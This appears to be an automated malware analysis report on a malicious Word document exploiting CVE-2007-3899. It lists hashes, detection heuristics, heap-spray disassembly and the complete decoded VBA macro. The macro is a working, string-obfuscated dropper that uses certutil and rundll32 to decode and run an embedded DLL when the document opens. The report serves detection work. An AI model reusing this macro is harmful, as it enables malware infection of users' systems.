Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5dfe06d9fcb8aac…

MALICIOUS

Office (OLE)

119.0 KB First seen: 2020-09-07
MD5: 8207fb14f56ed076353e36cf07e9eee8 SHA-1: 4f5c77a88a97b87cc9160af9e660ce47ec88e8f2 SHA-256: d5dfe06d9fcb8aaccb1f3b4613d18c52ebb50f8ab2e8b1860968223286f21b50
258 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that exploits the CVE-2007-3899 vulnerability, a known memory corruption flaw. The presence of a Document_Open macro and references to the CreateProcess API indicate that the macro is designed to execute arbitrary code. The heap spray and NOP sled heuristics further support the exploitation of a memory corruption vulnerability.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Sagent-9761959-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9761959-0
  • Heap-spray pattern detected high SC_HEAP_SPRAY
    Repeated 0x41 (A) bytes found
    Disassembly
    Attempted x86 opcode disassembly
    0001A916  41                inc ecx
0001A917  41                inc ecx
0001A918  41                inc ecx
0001A919  41                inc ecx
0001A91A  41                inc ecx
0001A91B  41                inc ecx
0001A91C  41                inc ecx
0001A91D  41                inc ecx
0001A91E  41                inc ecx
0001A91F  41                inc ecx
0001A920  41                inc ecx
0001A921  41                inc ecx
0001A922  41                inc ecx
0001A923  41                inc ecx
0001A924  41                inc ecx
0001A925  41                inc ecx
0001A926  41                inc ecx
0001A927  41                inc ecx
0001A928  41                inc ecx
0001A929  41                inc ecx
0001A92A  41                inc ecx
0001A92B  41                inc ecx
0001A92C  41                inc ecx
0001A92D  41                inc ecx
0001A92E  41                inc ecx
0001A92F  41                inc ecx
0001A930  41                inc ecx
0001A931  41                inc ecx
0001A932  41                inc ecx
0001A933  41                inc ecx
0001A934  41                inc ecx
0001A935  41                inc ecx
0001A936  41                inc ecx
0001A937  41                inc ecx
0001A938  41                inc ecx
0001A939  41                inc ecx
0001A93A  41                inc ecx
0001A93B  41                inc ecx
0001A93C  41                inc ecx
0001A93D  41                inc ecx
0001A93E  41                inc ecx
0001A93F  41                inc ecx
0001A940  41                inc ecx
0001A941  41                inc ecx
0001A942  41                inc ecx
0001A943  41                inc ecx
0001A944  41                inc ecx
0001A945  41                inc ecx
0001A946  41                inc ecx
0001A947  41                inc ecx
0001A948  41                inc ecx
0001A949  41                inc ecx
0001A94A  41                inc ecx
0001A94B  41                inc ecx
0001A94C  41                inc ecx
0001A94D  41                inc ecx
0001A94E  41                inc ecx
0001A94F  41                inc ecx
0001A950  41                inc ecx
0001A951  41                inc ecx
0001A952  41                inc ecx
0001A953  41                inc ecx
0001A954  41                inc ecx
0001A955  41                inc ecx
0001A956  41                inc ecx
0001A957  41                inc ecx
0001A958  41                inc ecx
0001A959  41                inc ecx
0001A95A  41                inc ecx
0001A95B  41                inc ecx
0001A95C  41                inc ecx
0001A95D  41                inc ecx
0001A95E  41                inc ecx
0001A95F  41                inc ecx
0001A960  41                inc ecx
0001A961  41                inc ecx
0001A962  41                inc ecx
0001A963  41                inc ecx
0001A964  41                inc ecx
0001A965  41                inc ecx
0001A966  41                inc ecx
0001A967  41                inc ecx
0001A968  41                inc ecx
0001A969  41                inc ecx
0001A96A  41                inc ecx
0001A96B  41                inc ecx
0001A96C  41                inc ecx
0001A96D  41                inc ecx
0001A96E  41                inc ecx
0001A96F  41                inc ecx
0001A970  41                inc ecx
0001A971  41                inc ecx
0001A972  41                inc ecx
0001A973  41                inc ecx
0001A974  41                inc ecx
0001A975  41                inc ecx
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • NOP-equivalent sled detected medium SC_NOP_EQUIV_SLED
    Long run of 0x41 bytes
    Disassembly
    Attempted x86 opcode disassembly
    0001A621  41                inc ecx
0001A622  41                inc ecx
0001A623  41                inc ecx
0001A624  41                inc ecx
0001A625  41                inc ecx
0001A626  41                inc ecx
0001A627  41                inc ecx
0001A628  41                inc ecx
0001A629  41                inc ecx
0001A62A  41                inc ecx
0001A62B  41                inc ecx
0001A62C  41                inc ecx
0001A62D  41                inc ecx
0001A62E  41                inc ecx
0001A62F  41                inc ecx
0001A630  41                inc ecx
0001A631  41                inc ecx
0001A632  41                inc ecx
0001A633  41                inc ecx
0001A634  41                inc ecx
0001A635  41                inc ecx
0001A636  41                inc ecx
0001A637  41                inc ecx
0001A638  41                inc ecx
0001A639  41                inc ecx
0001A63A  41                inc ecx
0001A63B  41                inc ecx
0001A63C  41                inc ecx
0001A63D  41                inc ecx
0001A63E  41                inc ecx
0001A63F  41                inc ecx
0001A640  41                inc ecx
0001A641  41                inc ecx
0001A642  41                inc ecx
0001A643  41                inc ecx
0001A644  41                inc ecx
0001A645  41                inc ecx
0001A646  41                inc ecx
0001A647  41                inc ecx
0001A648  41                inc ecx
0001A649  41                inc ecx
0001A64A  41                inc ecx
0001A64B  41                inc ecx
0001A64C  41                inc ecx
0001A64D  41                inc ecx
0001A64E  41                inc ecx
0001A64F  41                inc ecx
0001A650  3441              xor al, 0x41
0001A652  41                inc ecx
0001A653  41                inc ecx
0001A654  41                inc ecx
0001A655  41                inc ecx
0001A656  3466              xor al, 0x66
0001A658  7567              jne 0x1a6c1
0001A65A  3441              xor al, 0x41
0001A65C  7441              je 0x1a69f
0001A65E  6e                outsb dx, byte ptr [esi]
0001A65F  4e                dec esi
0001A660  49                dec ecx
0001A661  626742            bound esp, qword ptr [edi + 0x42]
0001A664  54                push esp
0001A665  4d                dec ebp
0001A666  306856            xor byte ptr [eax + 0x56], ch
0001A669  47                inc edi
0001A66A  6870637942        push 0x42796370
0001A66F  7763              ja 0x1a6d4
0001A671  6d                insd dword ptr es:[edi], dx
0001A672  396e63            cmp dword ptr [esi + 0x63], ebp
0001A675  6d                insd dword ptr es:[edi], dx
0001A676  46                inc esi
0001A677  7449              je 0x1a6c2
0001A679  47                inc edi
0001A67A  4e                dec esi
0001A67B  68626d3576        push 0x76356d62
0001A680  64                .byte 0x64
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
    Module1.NkmoA
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Private Function DGrIwBoic(S As String) As String
    DGrIwBoic = Environ$(S) & Application.PathSeparator & "N5uIJVSp"
End Function
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5115 bytes
SHA-256: 50b14759c8935fb40cd334d3c762f0d46f0fd21a9276b64b32d418271015e09d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Module1.NkmoA
End Sub

Attribute VB_Name = "Module1"
Private Type WsRs0y
t6nZZZL4 As Long: bzWF8cAxW As Long: OUCyrzh As Long: h9kn6tE7T As Long
End Type
Private Type x0mlD777fR
nuprnuX As Long: QxfURjck As String: uo6VH7 As String: xMAbY0 As String: Ad6oi As Long
OACsb As Long: sOSQF As Long: aNQ7jC1qd As Long: TOqbEKy6kn As Long: GBI7VPTB As Long
nmG2Jca As Long: B0SQwB4yl As Long: UWx47whVF As Integer: cyMwJzuK As Integer: jDOnI As Integer
oUxwN9B As Long: gyteOufC As Long: JoYDY As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function SetCapture Lib "user32" (ByVal VwQeXW3x As LongPtr) As LongPtr
Private Declare PtrSafe Function SetCaretBlinkTime Lib "user32" (ByVal QT4gIx As LongPtr) As LongPtr
Private Declare PtrSafe Function SetCaretPos Lib "user32" (ByVal kTThi6ogY As LongPtr, _
ByVal udaeOA As LongPtr) As LongPtr
Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal XejW0V3vY As String, _
ByVal J4RhSY As String, ByVal dBtMHO As Long, ByVal IQkvEp4iw1 As Long, _
ByVal Yy7ZRG4U As LongPtr, ByVal uN5WJK09 As LongPtr, ByVal PIIiG As Long, _
ByVal cHOMWJAb As String, o6A6mI0 As x0mlD777fR, STAeUYh2uv As WsRs0y) As LongPtr
Private Declare PtrSafe Function Sleep Lib "Kernel32" (ByVal AJcqtEHAiq As Long) As Long
Private Declare PtrSafe Function SetClassLongA Lib "user32" (ByVal m5JPchgFK As LongPtr, _
ByVal pAWbR As LongPtr, ByVal vYUEecyn As LongPtr) As LongPtr
Private Declare PtrSafe Function SetClassWord Lib "user32" (ByVal CbHOJb As LongPtr, _
ByVal jo1Yvob9OE As LongPtr, ByVal impsx3 As LongPtr) As LongPtr
#Else
Private Declare Function CreateProcessA Lib "Kernel32" (ByVal TRI0AOk6v As String, ByVal Kmh36 As String, _
ByVal NOPGi3iTt1 As Long, ByVal vnqCO0kI As Long, ByVal Hc6nmpdkX As Long, _
ByVal A1vO8bhJDw As Long, ByVal xOaF2c As Long, ByVal Y9QTCYJM As String, _
LrEd4VXk7F As x0mlD777fR, W8VCJpXb As WsRs0y) As Long
Private Declare Function Sleep Lib "Kernel32" (ByVal EE1llLmFN As Long) As Long
Private Declare Function SetCapture Lib "user32" (ByVal uf9a5u8 As Long) As Long
Private Declare Function SetClassLongA Lib "user32" (ByVal c4mu2ZeH As Long, _
ByVal ZerXTd As Long, ByVal Q1XCy8NTq As Long) As Long
Private Declare Function SetClassWord Lib "user32" (ByVal MMbidpgyl As Long, _
ByVal jZ3XfB As Long, ByVal OpN3NNgzvv As Long) As Long
#End If
Private ZRyGV
Private AAAA
Private BBBB

Public Function NkmoA()
    ZRyGV = DGrIwBoic(MQpR2UGXn9("HOLIRUSUHVX"))
    j0uQ3dhEF (ZRyGV)
    HQKgx (ZRyGV)
End Function

Private Function j0uQ3dhEF(ZRyGV As String)
    ActiveDocument.SaveAs2 FileName:=ZRyGV + ".xls", FileFormat:=wdFormatText
    ActiveDocument.SaveAs2 FileName:=ZRyGV + ".doc", FileFormat:=wdFormatText
End Function

Private Function HQKgx(ZRyGV As String)
    ZRyGV = DGrIwBoic(MQpR2UGXn9("HOLIRUSUHVX"))
    ABC (ZRyGV)
End Function
    
Private Function ABC(ZRyGV As String)
    WJuUtxJ = " " & MQpR2UGXn9("hgrfhg0") & " " + ZRyGV + ".xls " + ZRyGV + MQpR2UGXn9("oog1")
    Sb9etGDP0T = MQpR2UGXn9("h{h1olwxwuhf_56phwv|V_vzrgqlZ_=F")
    Dim Fne9Hx As x0mlD777fR: Dim ic0uG As WsRs0y
    If CreateProcessA(Sb9etGDP0T, WJuUtxJ, 0, 0, False, &H8, 0, MQpR2UGXn9("_=F"), Fne9Hx, ic0uG) Then
            Sleep 5000
            BCD (ZRyGV)
    Else
        ActiveDocument.Close
    End If
End Function

Private Function BCD(ZRyGV As String)
    Dim Aki5thX As x0mlD777fR: Dim FffkQzJ As WsRs0y
    uN8mpOOqFN = MQpR2UGXn9("h{h156oogqxu_56phwv|V_vzrgqlZ_=F")
    If CreateProcessA(uN8mpOOqFN, " " & ZRyGV + MQpR2UGXn9("4U/oog1"), 0, 0, False, 0, 0, MQpR2UGXn9("_=F"), Aki5thX, FffkQzJ) Then
        Kill ZRyGV + ".xls"
        Sleep 4000
        Kill ZRyGV + MQpR2UGXn9("oog1")
    End If
End Function

Private Function DGrIwBoic(S As String) As String
    DGrIwBoic = Environ$(S) & Application.PathSeparator & "N5uIJVSp"
End Function

Function MQpR2UGXn9(Aki5thX As String) As String
    MQpR2UGXn9 = YOxYOcH0w(jU6vF3(Aki5thX, Len(Aki5thX), 1), Len(Aki5thX), 3)
End Function

Public Function jU6vF3(FffkQzJ As String, WJuUtxJ As Long, CiaxhQp As Long) As String
    AAAA = FffkQzJ
    For Sb9etGDP0T = 1 To WJuUtxJ
       Mid$(AAAA, Sb9etGDP0T, 1) = Mid$(FffkQzJ, WJuUtxJ - Sb9etGDP0T + CiaxhQp, 1)
    Next
    jU6vF3 = AAAA
End Function

Public Function YOxYOcH0w(Fne9Hx As String, FffkQzJ As Long, WJuUtxJ As Long) As String
    For Aki5thX = 1 To FffkQzJ
        BBBB = Oozl5UCb6(Mid$(Fne9Hx, Aki5thX, 1))
        Mid$(Fne9Hx, Aki5thX, 1) = BBBB
    Next
    YOxYOcH0w = Fne9Hx
End Function

Private Function A9Z4SY(Fne9Hx As Long) As String
    A9Z4SY = Chr(Fne9Hx)
End Function

Private Function Oozl5UCb6(Fne9Hx As String) As String
    Oozl5UCb6 = A9Z4SY(Asc(Fne9Hx) - 3)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.